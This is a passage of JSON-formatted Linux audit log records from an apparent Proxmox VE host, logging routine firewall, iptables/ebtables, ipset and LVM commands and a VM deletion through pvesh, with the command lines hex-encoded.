cap_frootid=0"} {"@timestamp":1781965945288,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965945.288:67767): proctitle=\"iptables-save\""} {"@timestamp":1781965824754,"@rawstring":"node=pve type=PATH msg=audit(1781965824.754:67249): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965945283,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965945.283:67766): proctitle=69707365740073617665"} {"@timestamp":1781965824727,"@rawstring":"node=pve type=PATH msg=audit(1781965824.727:67248): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965945276,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965945.276:67765): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965824727,"@rawstring":"node=pve type=PATH msg=audit(1781965824.727:67248): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965945265,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965945.265:67764): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965824442,"@rawstring":"node=pve type=PATH msg=audit(1781965824.442:67247): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965944866,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965944.866:67763): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965824442,"@rawstring":"node=pve type=PATH msg=audit(1781965824.442:67247): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965944866,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965944.866:67762): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965824442,"@rawstring":"node=pve type=PATH msg=audit(1781965824.442:67246): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965944866,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965944.866:67761): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965824442,"@rawstring":"node=pve type=PATH msg=audit(1781965824.442:67245): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965944855,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965944.855:67760): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965824435,"@rawstring":"node=pve type=PATH msg=audit(1781965824.435:67244): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965944855,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965944.855:67759): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965824435,"@rawstring":"node=pve type=PATH msg=audit(1781965824.435:67244): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965944855,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965944.855:67758): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965824435,"@rawstring":"node=pve type=PATH msg=audit(1781965824.435:67243): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965944502,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965944.502:67757): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965824435,"@rawstring":"node=pve type=PATH msg=audit(1781965824.435:67242): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965944468,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965944.468:67756): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965819424,"@rawstring":"node=pve type=PATH msg=audit(1781965819.424:67241): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965939849,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965939.849:67755): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965819424,"@rawstring":"node=pve type=PATH msg=audit(1781965819.424:67241): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965939849,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965939.849:67754): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965819424,"@rawstring":"node=pve type=PATH msg=audit(1781965819.424:67240): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965939849,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965939.849:67753): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965819424,"@rawstring":"node=pve type=PATH msg=audit(1781965819.424:67239): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965939844,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965939.844:67752): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965819417,"@rawstring":"node=pve type=PATH msg=audit(1781965819.417:67238): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965939844,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965939.844:67751): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965819417,"@rawstring":"node=pve type=PATH msg=audit(1781965819.417:67238): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965939844,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965939.844:67750): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965819417,"@rawstring":"node=pve type=PATH msg=audit(1781965819.417:67237): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965935254,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965935.254:67749): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965819417,"@rawstring":"node=pve type=PATH msg=audit(1781965819.417:67236): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965935251,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965935.251:67748): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965815268,"@rawstring":"node=pve type=PATH msg=audit(1781965815.268:67235): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965935249,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965935.249:67747): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965815268,"@rawstring":"node=pve type=PATH msg=audit(1781965815.268:67235): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965935249,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965935.249:67746): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965815265,"@rawstring":"node=pve type=PATH msg=audit(1781965815.265:67234): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965935245,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965935.245:67745): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965815265,"@rawstring":"node=pve type=PATH msg=audit(1781965815.265:67234): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965935238,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965935.238:67744): proctitle=\"ip6tables-save\""} {"@timestamp":1781965815264,"@rawstring":"node=pve type=PATH msg=audit(1781965815.264:67233): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965935231,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965935.231:67743): proctitle=\"iptables-save\""} {"@timestamp":1781965815264,"@rawstring":"node=pve type=PATH msg=audit(1781965815.264:67233): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965935223,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965935.223:67742): proctitle=\"ip6tables-save\""} {"@timestamp":1781965815264,"@rawstring":"node=pve type=PATH msg=audit(1781965815.264:67232): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965935214,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965935.214:67741): proctitle=\"iptables-save\""} {"@timestamp":1781965815259,"@rawstring":"node=pve type=PATH msg=audit(1781965815.259:67231): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965935211,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965935.211:67740): proctitle=\"ebtables-restore\""} {"@timestamp":1781965815259,"@rawstring":"node=pve type=PATH msg=audit(1781965815.259:67231): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965935208,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965935.208:67739): proctitle=\"ebtables-restore\""} {"@timestamp":1781965815259,"@rawstring":"node=pve type=PATH msg=audit(1781965815.259:67231): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965935202,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965935.202:67738): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965815251,"@rawstring":"node=pve type=PATH msg=audit(1781965815.251:67230): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965935196,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965935.196:67737): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965815251,"@rawstring":"node=pve type=PATH msg=audit(1781965815.251:67230): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965935189,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965935.189:67736): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965815243,"@rawstring":"node=pve type=PATH msg=audit(1781965815.243:67229): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965935183,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965935.183:67735): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965815243,"@rawstring":"node=pve type=PATH msg=audit(1781965815.243:67229): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965935178,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965935.178:67734): proctitle=697073657400726573746F7265"} {"@timestamp":1781965815236,"@rawstring":"node=pve type=PATH msg=audit(1781965815.236:67228): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965935171,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965935.171:67733): proctitle=\"ip6tables-save\""} {"@timestamp":1781965815236,"@rawstring":"node=pve type=PATH msg=audit(1781965815.236:67228): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965935164,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965935.164:67732): proctitle=\"iptables-save\""} {"@timestamp":1781965815229,"@rawstring":"node=pve type=PATH msg=audit(1781965815.229:67227): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965935160,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965935.160:67731): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965815229,"@rawstring":"node=pve type=PATH msg=audit(1781965815.229:67227): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965935157,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965935.157:67730): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965815220,"@rawstring":"node=pve type=PATH msg=audit(1781965815.220:67225): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965935156,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965935.156:67729): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965815220,"@rawstring":"node=pve type=PATH msg=audit(1781965815.220:67225): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965935156,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965935.156:67728): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965815214,"@rawstring":"node=pve type=PATH msg=audit(1781965815.214:67224): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965935151,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965935.151:67727): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965815214,"@rawstring":"node=pve type=PATH msg=audit(1781965815.214:67224): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965935143,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965935.143:67726): proctitle=\"ip6tables-save\""} {"@timestamp":1781965815207,"@rawstring":"node=pve type=PATH msg=audit(1781965815.207:67223): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965935136,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965935.136:67725): proctitle=\"iptables-save\""} {"@timestamp":1781965815207,"@rawstring":"node=pve type=PATH msg=audit(1781965815.207:67223): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965935130,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965935.130:67724): proctitle=69707365740073617665"} {"@timestamp":1781965815199,"@rawstring":"node=pve type=PATH msg=audit(1781965815.199:67222): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965935121,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965935.121:67723): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965815199,"@rawstring":"node=pve type=PATH msg=audit(1781965815.199:67222): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965935109,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965935.109:67722): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965815192,"@rawstring":"node=pve type=PATH msg=audit(1781965815.192:67221): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965934829,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965934.829:67721): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965815192,"@rawstring":"node=pve type=PATH msg=audit(1781965815.192:67221): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965934829,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965934.829:67720): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965815187,"@rawstring":"node=pve type=PATH msg=audit(1781965815.187:67220): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965934829,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965934.829:67719): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965815187,"@rawstring":"node=pve type=PATH msg=audit(1781965815.187:67220): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965934824,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965934.824:67718): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965815179,"@rawstring":"node=pve type=PATH msg=audit(1781965815.179:67219): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965934824,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965934.824:67717): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965815179,"@rawstring":"node=pve type=PATH msg=audit(1781965815.179:67219): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965934824,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965934.824:67716): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965815171,"@rawstring":"node=pve type=PATH msg=audit(1781965815.171:67218): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965934364,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965934.364:67715): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965815171,"@rawstring":"node=pve type=PATH msg=audit(1781965815.171:67218): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965934334,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965934.334:67714): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965815167,"@rawstring":"node=pve type=PATH msg=audit(1781965815.167:67217): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965930636,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965930.636:67713): proctitle=2F7573722F62696E2F7065726C002F7573722F62696E2F70766573680064656C657465002F6E6F6465732F7076652F71656D752F373037"} {"@timestamp":1781965815167,"@rawstring":"node=pve type=PATH msg=audit(1781965815.167:67217): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965929812,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965929.812:67712): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965815163,"@rawstring":"node=pve type=PATH msg=audit(1781965815.163:67216): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965929812,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965929.812:67711): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965815163,"@rawstring":"node=pve type=PATH msg=audit(1781965815.163:67216): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965929812,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965929.812:67710): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965815161,"@rawstring":"node=pve type=PATH msg=audit(1781965815.161:67215): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965929799,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965929.799:67709): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965815161,"@rawstring":"node=pve type=PATH msg=audit(1781965815.161:67215): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 